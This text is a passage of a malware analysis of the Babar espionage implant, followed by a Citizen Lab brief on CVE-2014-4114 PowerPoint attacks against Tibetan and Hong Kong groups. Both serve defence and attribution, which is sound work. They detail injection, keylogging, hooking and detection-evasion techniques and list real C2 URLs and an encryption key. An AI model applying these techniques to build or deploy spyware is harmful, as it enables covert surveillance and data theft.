Babar also enumerates the Windows Management Instrumentation for installed AV solutions, while the exact use of this information is not yet known.
We do suspect large portions of the product enumeration to be based on the exact same source code as the module Bunny used.
Illustration 2  Querying anti-virus products installed on the machine The enumeration function issues the commands SELECT  FROM AntiVirusProduct and retrieves attributes such as productState, DisplayName, VersionNumber and productUptoDate.
The anti-virus solutions searched for are again identified by 256-bit SHA hashes.
Only some of the page  6 hashes could be mapped to known names of anti-virus solutions.
4db3801a45802041baa44334303e0498c2640cd5dfd6892545487bf7c8c9219f  ThreatFire 522e5549af01c747329d923110c058b7bb7e112816de64bd7919d7b9194fba5b  Rising 2fd5c42d49f9e0fe2daae5b0f78cf9cfde9bfc7b0ed59fc68e0a79a3b16fe05b 06e387bb79584cdff3672feadea0bf6f783ce1ddc1fa91962d1b5bcd94e1a308 f1761a5e3856dceb3e14d4555af92d3d1ac47604841f69fc72328b53ab45ca56  Kaspersky 588730213eb6ace35caadcb651217bfbde3f615d94a9cca41a31ee9fa09b186c  ZoneAlarm c8e8248940830e9f1dc600c189640e91c40f95caae4f3187fb04427980cdc479 b3fe0e3a3e3befa152c4237b0f3a96ffaa44a2d7e1aa6d379d3a1ab4659e1676  AntiVir Babar also implements an obfuscation technique to hide certain API names.
Selected APIs are identified by hashes, which are used to load the APIs dynamically at runtime.
The hashes are hardcoded within the binary, and will be compared to hashed library exports by the API resolution routine.
The hashing algorithm is different from the simple XOR/ROL technique Bunny uses.
It seems to be based on SHA-1, but generates 32-bit hashes instead of the standard 160-bit length.
What Bunny, Babar and NBOT all have in common though is that the obfuscation technique is easy to break and only applied to a subset of APIs.
As an anti-analysis trick this is considerably useless, it does make sense though to trick malware detection solutions which apply heuristics based on static analysis of API calls.
This becomes evident when looking at the list of Babars obfuscated API names, which includes RegisterRawInputDevices, GetRawInputData, GetClipboardData or DirectSoundCaptureCreate.
3.2 BABAR CAME TO STAY The startup routine of the Babar implant will create a registry key under [HKU]\..\CurrentVersion\Run to assure persistence.
The key is named MSSecurity and executes the exact same command line as the infector, every time the system boots - regsvr32.exe /s /n /i APPDATA\DLLNAME.
At system boot time the regsvr32.exe process will start, load the Babar DLL and thus deploy the malware to various legitimate processes.
As opposed to persistence, Babar also implements functionality to uninstall itself from the affected system.
Interesting again, same as during infection, the regsvr32.exe process remains running even after Babar is readily set up.
3.3 CONFIGURATION DATA During initialization Babar loads and decrypts a set of configuration parameters which are appended to the DLLs relocation section.
ASCII strings within the configuration data reveal a lot about Babars intentions: Office executable names and associated document abbreviations excel.exe, winword.exe, powerpnt.exe, visio.exe, acrord32.exe, notepad.exe, page  7 wordpad.exe.txt, rtf, xls, xlsx, ppt, pptx, doc, docx, pdf, vsd Softphone executable names skype.exe, msnmsgr.exe, oovoo.exe, nimbuzz.exe, googletalk.exe, yahoomessenger.exe, x- lite.exe A version number 12075-01 Path and filename of the dump file COMMON_APPDATA\MSI\update.msi Path to the runtime data directory COMMON_APPDATA\MSI Two CC server domains and request parameters http://www.horizons-tourisme.com/_vti_bin/_vti_msc/bb/index.php http://www.gezelimmi.com/wp-includes/misc/bb/index.php Web browser executable names, including MSN messenger iexplore.exe,firefox.exe,opera.exe,chrome.exe,Safari.exe,msnmsgr.exe The name of the dropped implant perf_585.dll As could be seen already in binaries of related families, next to the hardcoded configuration data Babar maintains a system specific runtime configuration.
The additional configuration consists of  a set of local attributes and a set of values derived from the Windows environment.
The attributes are dynamically generated or requested at runtime and not stored in memory.
USERHASH - Hash of the login name USER - Login name SEQ - Assumed to be the sequence number of dump files created by Babar KID - Assumed to be the ID of a subsequently infected process ID - Value retrieved from hardcoded configuration SELFDIR - Executable directory SELF - Executable name Values retrieved from Windows environment: APPDATA USERPROFILE WINDIR COMMON_APPDATA ALLUSERPROFILE CommonProgramFiles page  8 3.4 MODUS OPERANDI ELEPHANTI The DLL when loaded in the context of an application seeks to invade a maximum of two more victim processes.
This for once is a resilience measure, so if the initially infected process stops running the malware remains in memory through additional instances.
On the other hand it is practically a load balancing measure.
The CC communication module is located in an export of the DLL, which will be executed through a remote thread, injected like the child processes, via a memory-mapped file.
The process infection is achieved by mapping a shared object into the victims process space and invoking a function stub as remote thread.
The steps being taken are: MapViewOfFile  mapped memory shared with the child instance OpenProcess  obtaining a handle to the chosen victim process VirtualAllocEx  allocate space in remote memory WriteProcessMemory  write function stub to remote memory CreateRemoteThread  execute function stub as remote process The function stub will then go on to load the Babar DLL through LoadLibraryA and execute one of its exports, as indicated in the shared memory.
The mapped object contains name and path to the malicious DLL, the name of the pipe being used for communication between the instances, the name of the export from the DLL to be called as well as information about instances already running.
For picking a process to infect the malware randomly picks one from a list of prospects.
These have to be 32-bit processes, not already infected and not among a list of processes to avoid such as winlogon.exe, explorer.exe, cmd.exe or regsvr32.exe.
This way Babar always keeps three instances in memory.
The first one to start up will be the main instance.
If any of the instances dies, a new third instance will be created.
If the main instance dies the oldest child will take over.
For inter process communication Babar uses named pipes.
The main instance generates a random GUID which is used as name and passed to child instances.
At the same time, the main instance creates six named pipes using the very same GUID.
These pipes represent the server side for child instances, and also the point to connect to for hooks Babar installs to spy on several system APIs.
page  9 Illustration 3  Named pipes opened by the main instance 3.5 FUNCTIONALITY The spying activities are performed either through the Babar instance locally or via a global Windows hook invading all processes running in the same desktop.
Instance-local capabilities are basic spying on window names or snooping on the clipboard data, while the global hooks manage to steal information directly from Windows API calls.
A summary of the capabilities would be as follows: - Logging keystrokes - Taking screenshots - Capture of audio streams from softphone applications - Stealing of clipboard data - System and user default language, keyboard layout - Names of desktop windows 3.5.1 THE KEYLOGGER MODULE The keylogger is based on the raw input model.
The malware creates an invisible window, with no other purpose than to receive window messages.
By processing the window message queue it filters out input events and dispatches them to a raw input device object.
Said object is configured to grab keyboard events through GetRawInputData.
page  10 Illustration 4  The keylogger module uses Windows RAWINPUT to achieve its goal The snooped keystroke data is passed to a thread, which performs encryption and dumps the data to a log file.
The file is located in Babars working directory and named update.msi.
The design of the keylogging component is simple but effective.
Babar is able to sniff all keystrokes happening on the same desktop as its invisible window.
Interesting though, the code seen in Babars implant is remarkably similar to an example posted at [4].
3.5.2 INVADING DESKTOP PROCESSES The Babar implant applies global Windows hooks to load its DLL into the process space of other processes.
A global hook is installed by calling SetWindowsHookEx by passing the thread ID zero.
It applies to all processes running in the same desktop, having the same bitness as the DLL to be injected.
In the given case this applies to all 32-bit processes.
A global Windows hook is installed into the Windows event chain.
This effectively means code provided by the hooking DLL gets executed whenever an arbitrary desktop process receives an event of a type specified by the hook.
Babar installs hooks for type 2 and 3, which are WH_KEYBOARD and WH_GETMESSAGE.
This way Babar has control over all keyboard and message events received by any application on the same Windows desktop.
3.5.3 I AM ROOT(kit) Through the hook mechanism Babar can be maximum invasive in the Windows userland.
Once in the context of a desired target process, the malware goes on to hook specific APIs of interest.
This is achieved by applying the detours technique, which implements trampoline functions to be invoked every time a hooked API is called [6].
To achieve this, Babar rewrites the in-memory code for target APIs.
A call to a hooked API then results in the calling application invoking a trampoline function, which performs malicious activity and then passes control on to the legitimate API.
page  11 Babar supports trampoline functions for a limited list of APIs and limited to a set of processes of interest, defined by its configuration.
The list of APIs to hook is parted in three groups: Internet communication WSARecv send closesocket File creation CreateFileW Media DirectSoundCreate DirectSoundCaptureCreate DirectSoundCreate8 DirectSoundCaptureCreate8 CoCreateInstance waveOutOpen waveOutClose waveOutWrite waveInOpen waveInClose waveInAddBuffer Any set of hooks will only be applied to a defined set of processes.
The predefined groups of application names retrieved from the hardcoded configuration data set the scope of Babars hooking advances: Internet communication iexplore.exe,firefox.exe,opera.exe,chrome.exe,Safari.exe,msnmsgr.exe File creation excel.exe, winword.exe, powerpnt.exe, visio.exe, acrord32.exe, notepad.exe, wordpad.exe.txt, rtf, xls, xlsx, ppt, pptx, doc, docx, pdf, vsd Media skype.exe, msnmsgr.exe, oovoo.exe, nimbuzz.exe, googletalk.exe, yahoomessenger.exe, x- lite.exe The respective trampolines steal data going in or out of the hooked APIs on the fly.
The parsing function for intercepted internet communication searches for chat traffic, more specifically for messages conforming with the MSNP21 standard.
Babar is searching for tags such as Message- Type, Reliability, To, From or Text to pick out of the stream.
A more detailed explanation concerning the MSNP21 can be found at [7].
MSNP21 is the MSN messenger chat protocol that was introduced with Windows Live 2010 beta.
It is unclear though as of why only parsing for the MSN messenger is supported.
page  12 The data, like all stolen information, is handled by a separate thread which compresses and encrypts it before dumping it to a file on disk.
For grabbing audio streams Babar includes code from the OpenCORE AMR library [8].
AMR enables the malware to encode and decode raw audio frames as they are passed to or grabbed from the audio devices.
The very same malware module performs screen captures while dumping the snooped data.
This is assumed to happen to recognize the parties involved in the conversation by capturing the GUI of the softphone application.
Illustration 6  MSNP21 tags 3.6 STOLEN GOODS Babar comes with the Deflate algorithm, as used by Zlib, to be able to compress data before encrypting it and dumping it to disk.
The data is encrypted with 128-bit AES using the key 24 FE C5 AD 34 56 F7 F8 12 01 00 AE B6 7C DE AB for reading and writing files.
The following files have been seen to be dumped to Babars working directory under APPDATA\MSI: update.msi 48fe7f28.msi 0c6b5d2d.msi 31e50daa.msi mpavdlta.vdm Stolen information will be handled by the Babar main instance, which receives data through six named pipes from other instances or hooked processes.
The update.msi-file stores data collected by the keylogging module.
It posesses a file header which among other attributes keeps system specific data.
This is assumed to serve for mapping of logfiles to infected hosts.
Log lines written for stolen data from browsers and the MSN messenger are built by the format string scss\n, where the first string is likely participant1 of a conversation, the second string participant2.
Both are parted by the characters  or  depending on the direction of the conversation.
Similar log lines accompany dumped sound data and saved documents.
Sound data logs follow the format AuS, document logs the format I64iI64iI64isss\n.
For documents page  13 three timestamps are included as well as whether read or write access was requested, indicated by R or W or -.
The last placeholder is reserved for the filename.
At the time of writing the content of the sound data log line remains unclear.
3.7 CALLING HOME The internet communication module of Babar is located in a sparate export called FindCtxSectionStringW, which will be invoked through remote thread injection at runtime.
Injection is achieved the same way as the infection of child instances described in section 3.4.
The analyzed sample of Babar has two hard coded CC server addresses which are included in its configuration data: http://www.horizons-tourisme.com/_vti_bin/_vti_msc/bb/index.php http://www.gezelimmi.com/wp-includes/misc/bb/index.php Both servers were used to push spied information onto the remote site.
It remains unclear though whether the CCs also served to instruct the infected machines per commands, as Babar does not posess obvious command parsing functionality.
Data exfiltration is assumed to be time triggered.
Illustration 7  The website of horizons-tourisme.com today The domain horizons-tourisme.com is a legitimate website, operated by an Algerian travel agency, located in Algiers, Algeria.
The website is in French and still online today.
Gezelimmi.com is a Turkish domain, currently responding with an HTTP error message 403, access not permitted.
Both domains appear to be of legitimate use, but compromised and abused to host Babars server side infrastructure.
At the time of writing the server pointed to by horizons-tourisme.com is still hosting left overs from the CC infrastructure used by Babar.
With directory traversal activated researchers from ESET could pull a minimalistic directory structure, showing directories named as follows: bb28 d13 tfc422 page  14 Obviously, the directory belonging to Babar is bb28.
tfc422 matches with strings found in the TFC bots (previously named NBOT).
The purpose of the d13 directory remains unknown, although it is assumed to serve for requests of a third currently unknown family.
Most of the directories pulled from horizons-tourisme.com are empty, or contain empty files.
The only script inside the bb28 directory though appears to be interesting.
Its a .php-script named config.inc, containing variables which look familiar from Babars config such as user, id or seq, but also a handful of comments from the authors.
?
php uninstall  false //true to uninstall buninstall_id  false //true to uninstall from ID uninstall_id  0C124D55 //ID to uninstall in hex //uninstall  true debug  false //true to see errors messages FOR TEST ONLY writelogs  false //true to create logs file in logs directory version  3 get_varname_user  user get_varname_id   id get_varname_seq  seq storefile  storage/file ext  .kv maxsize  102410242 //0  unlimited size if we choose predifined files UOK_V3  0x7345d346 function disableCache() expires  0 gm_expires  gmdate(D, d M Y H:i:s, time()  expires) header(Cache-control: private, max-ageexpires, pre-checkexpires) header(Expires: gm_expires GMT) header(Last-Modified:  .
gmdate(D, d M Y H:i:s) .
GMT)  function listingFile(fn) if (file_exists(fn)) return false echo A HREF \fn\fn/ABR return true  function resetStorageFile(fn) if (file_exists(fn)) return false fp  fopen(fn, wb) if (fp) fclose(fp) else return false return true  ?
page  15 4.
BEYOND BABAR At the time of writing two Babar64 droppers are known, dropping one implant each.
They both show traits of the malware described by CSEC, being attributed to French intelligence with moderate certainty [2].
The CSEC document mentions uncovering the attack in 2009.
The compilation timestamps of the binaries date back to August 2011.
While these can be faked it is still unlikely that the authors would change the 2009-timestamp to a future date.
This, and the mentioning of Babar instead of Babar64 by CSEC indicates that the samples at hand stem from a more recent campaign.
Besides the project name, Babar64 also shares the malformed user agent string described in the document, where a letter from the MSIE 6.0 name is missing.
Illustration 8  The malformed user agent string showing MSI instead of MSIE The second Babar64 binary comes with its own set of CC servers: http://www.alexpetro.com/images/training/courses/bb212/index.php http://www.etehadyie.ir/images/public/bb212/index.php The first one is the legitimate website of AlexPetro Technical Services, a company operating in the oil and gas industry in Kairo, Egypt.
The second domain is Iranian, allegedly owned by a web design company named Radcom.
What links Babar64 to other families analyzed beforehand, such as Bunny or TFC (also called NBOT) are shared portions of source code and re-used coding techniques.
The enumeration of anti-virus software and the code to query the systems proxy settings are almost identical.
Furthermore, the samples at hand show the same partial API name obfuscation as Bunny and TFC.
What has changed is the hashing algorithm.
Also common among all of the families seems to be to hold system specific configuration data in memory at runtime, although this holds true for a lot of malware.
Putting Babar, Bunny and TFC in context a number of conclusion can be drawn.
Looking at the compilation timestamps and assuming they are not faked (which is backed by VirusTotal submission dates), the oldest family is TFC being active throughout 2010.
These are DDoS bots, used to build a botnet which can be utilized to attack adversaries on the internet.
page  16 Next on the timeline is Babar64, allegedly compiled middle of 2011 and first seen on VirusTotal middle of 2012.
It is believed that this strain has been active from 2011 until 2013, spying on dedicated targets rather than being spread widely.
Last comes Bunny, compiled second half of 2011 and making its first public appearance during the analysis of the Adobe Reader exploit for CVE-2011-4369 [9].
At the time when Bunny was spread through CVE-2011-4369, before December 2011, the vulnerability was unknown to the public.
Bunny itself is a Lua script execution platform, not including any spying capabilities.
All three families leave the impression of being developed by a team of skilled software developers, rather than being the product of a malware author operating in the criminal underground.
Also none of the binaries makes attempts of hiding its intentions, which is a common trait among targeted malware.
Heavy obfuscation or the use of crypters easily raises suspicion of heuristics based malware scanners.
However, besides the CSEC document there was no obvious pointer found leading to the conclusion that Babar and its companions were set out by French inteligence services.
As it is with digital crime, chances are high no proof will ever evolve and research will be limited to educated conclusions.
The drawing of personal educated conclusions is left as an exercise for the interested reader.
page  17 5.
RESOURCES [1] Quand les Canadiens partent en chasse de  Babar , Le Monde http://www.lemonde.fr/international/article/2014/03/21/quand-les-canadiens-partent-en-chasse- de-babar_4387233_3210.html [2] SNOWGLOBE: From Discovery to Attribution, CSEC, published by Der Spiegel http://www.spiegel.de/media/media-35683.pdf [3] Slidedeck TS/NOFORN, Keynote Hack.lu 2014 on Bunny / TFC http://2014.hack.lu/archive/2014/TSNOFORN.pdf [4] A Minimal Keylogger using RAWINPUT, CodeProject http://www.codeproject.com/Articles/297312/Minimal-Key-Logger-using-RAWINPUT [5] Implementing Keyloggers in Windows, Securelist https://securelist.com/analysis/36358/keyloggers-implementing-keyloggers-in-windows-part-two/ [6] Detours: Binary Interception of Win32 Functions, Proceedings of Usenix conference 99 http://research.microsoft.com/pubs/68568/huntusenixnt99.pdf [7] Documentation for changes in MSN Protocol Version 21 https://code.google.com/p/msnp-sharp/wiki/KB_MSNP21 [8] AMR Audio Encoding, Potluri Suresh http://www.codeproject.com/Articles/332109/AMR-Audio-Encoding [9] Analyzing CVE-2011-4369, 9bplus http://blog.9bplus.com/analyzing-cve-2011-4369-part-one/ page  18 http://www.lemonde.fr/international/article/2014/03/21/quand-les-canadiens-partent-en-chasse-de-babar_4387233_3210.html http://www.lemonde.fr/international/article/2014/03/21/quand-les-canadiens-partent-en-chasse-de-babar_4387233_3210.html http://blog.9bplus.com/analyzing-cve-2011-4369-part-one/ http://www.codeproject.com/Articles/332109/AMR-Audio-Encoding https://code.google.com/p/msnp-sharp/wiki/KB_MSNP21 http://research.microsoft.com/pubs/68568/huntusenixnt99.pdf https://securelist.com/analysis/36358/keyloggers-implementing-keyloggers-in-windows-part-two/ http://www.codeproject.com/Articles/297312/Minimal-Key-Logger-using-RAWINPUT http://2014.hack.lu/archive/2014/TSNOFORN.pdf http://www.spiegel.de/media/media-35683.pdf 6.
APPENDICES Lists of passive DNS entries for horizons-tourisme.com and gezelimmi.com can be found below.
For gezelimmi.com: For horizons-tourisme.com: page  19 Resolve Location Network First Last 104.153.45.38 N/A 104.153.45.0/24 31.12.2013 00:00 09.11.2014 00:00 199.231.93.221 US 199.231.93.0/24 03.07.2011 00:00 31.12.2013 00:00 199.119.202.195 US 199.119.200.0/21 10.04.2011 00:00 03.07.2011 00:00 208.87.242.66 US 208.87.240.0/22 16.03.2008 00:00 10.04.2011 00:00 209.62.21.228 US 209.62.0.0/17 26.08.2007 00:00 16.03.2008 00:00 83.149.75.58 NL 83.149.64.0/18 24.06.2007 00:00 26.08.2007 00:00 69.25.212.153 US 69.25.208.0/20 24.03.2007 00:00 24.06.2007 00:00 64.20.43.107 US 64.20.32.0/19 18.11.2006 00:00 24.03.2007 00:00 207.189.104.87 US 207.189.96.0/19 12.08.2006 00:00 18.11.2006 00:00 207.189.104.86 US 207.189.96.0/19 05.08.2006 00:00 12.08.2006 00:00 207.189.104.87 US 207.189.96.0/19 08.07.2006 00:00 05.08.2006 00:00 207.189.104.86 US 207.189.96.0/19 01.07.2006 00:00 08.07.2006 00:00 207.189.104.87 US 207.189.96.0/19 17.06.2006 00:00 01.07.2006 00:00 207.189.104.86 US 207.189.96.0/19 10.06.2006 00:00 17.06.2006 00:00 207.189.104.87 US 207.189.96.0/19 06.05.2006 00:00 10.06.2006 00:00 207.189.104.86 US 207.189.96.0/19 29.04.2006 00:00 06.05.2006 00:00 207.189.104.87 US 207.189.96.0/19 18.03.2006 00:00 29.04.2006 00:00 207.189.104.86 US 207.189.96.0/19 05.03.2006 00:00 18.03.2006 00:00 207.189.104.87 US 207.189.96.0/19 25.02.2006 00:00 05.03.2006 00:00 207.189.104.86 US 207.189.96.0/19 12.02.2006 00:00 25.02.2006 00:00 207.189.104.87 US 207.189.96.0/19 27.11.2005 00:00 12.02.2006 00:00 216.152.252.55 US 216.152.240.0/20 21.11.2004 00:00 27.11.2005 00:00 Resolve Location Network First Last 192.185.113.148 US 192.185.64.0/18 28.04.11 00:00 10.02.15 00:00 184.172.143.188 US 184.172.128.0/18 23.12.06 00:00 28.04.11 00:00 212.27.35.109 FR 212.27.32.0/19 02.08.05 00:00 23.12.06 00:00 206.41.94.190 CA 206.41.94.0/24 24.06.05 00:00 02.08.05 00:00 1.
SHOOTING ELEPHANTS 2.
MISCREANTS DROPPER 3.
MISCREANTS IMPLANT 3.1 ANTI-ANALYSIS MEASURES 3.2 BABAR CAME TO STAY 3.3 CONFIGURATION DATA 3.4 MODUS OPERANDI ELEPHANTI 3.5 FUNCTIONALITY 3.5.1 THE KEYLOGGER MODULE 3.5.2 INVADING DESKTOP PROCESSES 3.5.3 I AM ROOT(kit) 3.6 STOLEN GOODS 3.7 CALLING HOME 4.
BEYOND BABAR 5.
RESOURCES 6.
APPENDICES
1 The Citizen Lab Research Brief June 2015 Target Attacks against Tibetan and Hong Kong Groups Exploiting CVE-2014-4114 Authors: Katie Kleemola, Masashi Crete-Nishihata, and John Scott-Railton INTRODUCTION This post analyzes targeted malware attacks against groups in the Tibetan diaspora and pro-democracy groups in Hong Kong.
All of these attacks leveraged CVE-2014-4114 and were delivered via malicious Microsoft PowerPoint Slideshow files (.pps).
These attacks are highly targeted, appear to re-purpose legitimate content in decoy documents, and had very low antivirus (AV) detection rates at the time they were deployed.
The attacks against Tibetan groups shows a change in tactics from previous campaigns.
Over the past four years the majority of attacks we have seen against Tibetan groups use CVE-2010-3333 or CVE-2012-0158.
The use of CVE-2014-4114 marks the first time we have observed a change from this pattern in the last two years.
One attack sent to Tibetan groups used a link to a file on Google Drive to deliver the malware.
Groups in the Tibetan community have promoted awareness campaigns around e-mail attachments, which have been the most common attack vector for the community.
This campaign, Detach from Attachments, urges users to avoid sending or opening email attachments, and to use cloud-based storage to send files like Google Drive as an alternative.
The use of Google Drive to send malware may be evidence of attackers adapting to the behavioral countermeasures promoted by the campaign.
In addition to the use of the same CVE, some of the attacks targeting Tibetan rights groups and Hong Kong groups have overlap in malware family (PlugX) and Command and Control (C2) domains.
The similarities between these attacks suggests that either they are being conducted by the same threat actor or threat actors targeting these groups are sharing tactics, tools, and procedures (TTPs).
Targeting and Social Engineering We observed a total of five malware campaigns that used CVE-2014-4114 and a range of social engineering tactics to persuade recipients to either open an attachment, or visit a URL and download a malicious file.
In all of these attacks, if a recipient double clicks on the .pps file, they are shown decoy content.
Examination https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-4114 https://targetedthreats.net/ https://targetedthreats.net/ http://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-3333 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 https://www.usenix.org/system/files/conference/usenixsecurity14/sec14-paper-hardy.pdf https://www.cybersuperhero.net/safer-file-sharing/ June 2015 2 of the exif metadata of the files indicates that the attackers are likely repurposing material from legitimate presentations.
PPT files (the more commonly used PowerPoint file extension) are automatically opened in edit mode, whereas .pps files are automatically opened in slideshow mode.
For the CVE-2014-4114 exploit to work, the Powerpoint Slideshow needs to be played.
Sending .pps files that automatically run a PowerPoint Slideshow is likely an attempt by the attackers to increase the infection rate.
TIBETAN ATTACKS Over April and May 2015 we observed 3 attack campaigns targeting a number of Tibetan organizations.
The sophistication of the social engineering varied between attacks, but all attacks appeared to use re-purposed legitimate content.
Tibet Attack 1: April 2015 The first attack we observed was sent to multiple Tibetan groups over the course of April 2015.
The email text is taken from a website related to an advocacy campaign and report by the International Tibet Network (ITN), a prominent Tibetan rights group.
The email signature includes the real office address of ITN.
However, the senders email address (tibet_netyahoo.com.hk) is not a legitimate address related to the group.
Attached to the email was a .pps file that repurposes slides from a presentation related to the same report and advocacy campaign referenced in the email message.
http://www.xijinping-tibetchallenge.org/ http://tibetnetwork.org/ June 2015 3 Figure 1: Email lure sent to Tibetan groups Figure 2: Image from decoy PowerPoint Slideshow file June 2015 4 Tibet Attack 2: April 28, 2015 The second attack was sent out on April 28 2015 to multiple Tibetan organizations.
The email message references a recent visit between Archbishop Desmond Tutu and His Holiness the Dalai Lama (HHDL).
The .pps attachment also referenced the event and appears to be repurposed from legitimate material.
Tibet Attack 3: May 6 2015 The third attack was sent to Tibetan groups on May 6 2015 and contained a simpler message than previous attacks that urges the recipient to download a file from Google Drive, appears to repurpose legitimate content.
Dear Sir/Madam, I have shared the Biography of H.H.
THE 14TH DALAI LAMA via Google Drive.
Kindly download it.
PowerPoint Slideshow files do not display properly on Google Drive, and therefore a recipient may be tempted to download and open the file on their computer.
The use of Google Docs is potentially evidence of attackers changing tactics in reaction to the Detach from Attachments campaign.
HONG KONG ATTACK CAMPAIGNS We analyzed two attacks sent over the course of March 2015 that targeted individuals associated with human rights groups and pro-democratic political parties in Hong Kong.
Hong Kong Attack 1: March 6, 2015 The first attack was sent on March 6 2015.
The email signature was made to appear to come from an assistant of Dr. Margaret Ng who is a Barrister and a former member of the Legislative Council in Hong Kong.
The .pps attachment used a decoy document that appears to repurpose slides from an actual presentation Dr. Ng gave to Columbia Law School in February 2015.
https://www.cybersuperhero.net/safer-file-sharing/ https://en.wikipedia.org/wiki/Margaret_Ng http://home.columbia.edu/event/speech-and-media-freedom-new-lessons-umbrella-revolution-76595 June 2015 5 Hong Kong Attack 2: March 31, 2015 The second attack was sent on March 31 2015, and contained a message related to the Occupy Central protests.
The .pps file attachment was also related to Occupy Central and appears to repurpose legitimate content.
INFECTION Despite the variety of targets and delivery approaches, the malware shares a common infection process.
When the PowerPoint Slideshow is played, the malware leverages CVE-2014-4114, a vulnerability in the OLE Package Manager to infect the target machine.
Computers using Windows Vista and above are susceptible to this attack.
In addition to the decoy document, the malicious slideshow contains two embedded OLE objects: a .inf file and a malicious executable with a .gif extension that are dropped to the temp folder.
https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2014-4114 June 2015 6 The .inf file is used to copy the executable and then run it.
https://citizenlab.org/wp-content/uploads/2015/06/temp-folder.png https://citizenlab.org/wp-content/uploads/2015/06/temp-folder.png June 2015 7 The CVE-2014-4114 vulnerability has been described by Rapid7 and was previously linked to the Sandworm Russian threat actor.
In these previously reported attacks, the .inf and .gif files are copied from a remote smb share to the victims computer.
In the attacks we describe here the payload is embedded in the OLE objects, similar to cases described by TrendMicro.
Since CVE-2014-4114 is a vulnerability in the OLE package manager it makes it possible for attackers to create a PowerPoint presentation in which the OLE package manager loads a fake .gif file (that is actually a malicious executable), and then a malicious .inf file that runs the executable.
If a user double clicks on the malicious attachment, the decoy file opens without crashing the program or producing any other obvious signs that something is wrong with the file.
This behaviour contrasts with how other common CVEs used to target groups in the Tibetan community (e.g, CVE-2012-0158, CVE-2010-3333) behave, which typically cause the vulnerable program to crash before opening a decoy document.
The exploit used in these attacks does not contain shell code, which makes it harder for AV heuristics to detect https://citizenlab.org/wp-content/uploads/2015/06/inf.png https://citizenlab.org/wp-content/uploads/2015/06/inf.png http://www.rapid7.com/db/modules/exploit/windows/fileformat/ms14_060_sandworm http://www.tripwire.com/state-of-security/incident-detection/microsoft-windows-zero-day-exploit-sandworm-used-in-cyber-espionage-cve-2014-4114/ http://blog.trendmicro.com/trendlabs-security-intelligence/new-cve-2014-4114-attacks-seen-one-week-after-fix/ http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-0158 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2010-3333 June 2015 8 it.
Of the samples we analyzed that have been uploaded to VirusTotal, two currently have 0 detections out of 57 AV engines (see Table 1).
Table 1: AV Detection Rates Sample MD5 AV Detection Rate (Orignal Submission) AV Detection Rate (Current) 18bb1ce405e4abac4b0fc63054 beac6c Date / Time: 2015- 04-30 13:44:39 Detection rate: 0/56 Date / Time: 2015- 06-04 11:53:17 Detection rate: 0/57 8a18a13910838d08e38db80a0 8e15bd5 Date / Time: 2015- 03-06 02:30:16 Detection rate: 0/57 Date / Time: 2015- 06-05 18:36:01 Detection rate: 0/57 2a544922d3ece4351c1af4ca63 c24550 Date / Time: 2015- 05-06 09:28:05 Detection rate 8/57 Date / Time: 2015- 06-05 18:38:17 20/57 Detection rate: 20/57 PLUGX ATTACKS Three of the sampled we analyzed used the PlugX malware family.
PlugX is a well-known malware family that researchers have observed being used in targeted attacks against NGOs, government institutions, and private companies.
A Trend Micro report on PlugX, describes a long-standing campaign that previously used Poison Ivy, another malware family.
Jaime Blasco at AlienVault claims to have tracked down the author of PlugX, who is allegedly based at a Chinese security company.
In these three samples, the embedded executable in OLE is a self extracting RAR containing the three components of PlugX: a signed legitimate executable, a malicious DLL, and a binary file containing the main payload.
Using a technique known as DLL sideloading, the legitimate executable runs the malicious DLL.
This malicious code then decrypts and decompresses the binary https://www.virustotal.com/en/file/c895d68a40b9a61dce6758f537a08a289dd4a392202e2d4e7635efb063d58d16/analysis/ https://www.virustotal.com/en/file/c895d68a40b9a61dce6758f537a08a289dd4a392202e2d4e7635efb063d58d16/analysis/ https://www.virustotal.com/en/file/45a4a937dd727dad29d46bceeb460bf24fd9f6df44f10692508fbd6ed2b7dfbd/analysis/ https://www.virustotal.com/en/file/45a4a937dd727dad29d46bceeb460bf24fd9f6df44f10692508fbd6ed2b7dfbd/analysis/ https://www.virustotal.com/en/file/ab118ff89762b8bd32f8bcb754bec06004604380b20349255bc637a197fa5f2d/analysis/ https://www.virustotal.com/en/file/ab118ff89762b8bd32f8bcb754bec06004604380b20349255bc637a197fa5f2d/analysis/ http://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/112/pulling-the-plug-on-plugx https://citizenlab.org/2012/09/human-rights-groups-targeted-by-plugx-rat/ http://blog.trendmicro.com/trendlabs-security-intelligence/plugx-new-tool-for-a-not-so-new-campaign/ http://blog.trendmicro.com/trendlabs-security-intelligence/plugx-new-tool-for-a-not-so-new-campaign/ https://www.alienvault.com/open-threat-exchange/blog/tracking-down-the-author-of-the-plugx-rat https://www.fireeye.com/content/dam/legacy/resources/pdfs/fireeye-dll-sideloading.pdf June 2015 9 file in memory which contains the main functionality.
Since the malicious code is being run by a signed, legitimate executable, and the payload never exists unencrypted on disk, it is more difficult for AV to detect PlugX.
For two of the three Plug X samples the  the malware leverages expired certificates from legitimate vendors: one executable signed by Microsoft and one by F-Secure.
Figure 3: Microsoft Certificate https://citizenlab.org/wp-content/uploads/2015/06/msft_cert.png June 2015 10 Figure 4: F-Secure Certificate Connections To Other Malware Families And  Campaigns While three attacks used PlugX malware, two other attacks did not.
One of these attacks targeted Tibetan groups, the second targeted Hong Kong-based groups.
The non-PlugX attack against Tibetan groups communicates with free1999.jkub.com, a C2 that we have previously observed in multiple campaigns using the Surtr malware family and targeting Tibetan groups.
The Valkyrie-X Security Research Group has also observed this C2 used in attacks against Hong Kong-based groups.
The non-PlugX attack against Hong Kong-based groups used a malware family that Symantec calls Wofeksad and connects to the C2 eset-windows.findhere.org.
We have observed the Wofeskad malware family in another attack against a large International NGO that works on multiple countries and issues.
However, that attack used CVE-2012-0158 and communicated with a different C2.
Details of the samples analyzed in this report are outlined in Table 2.
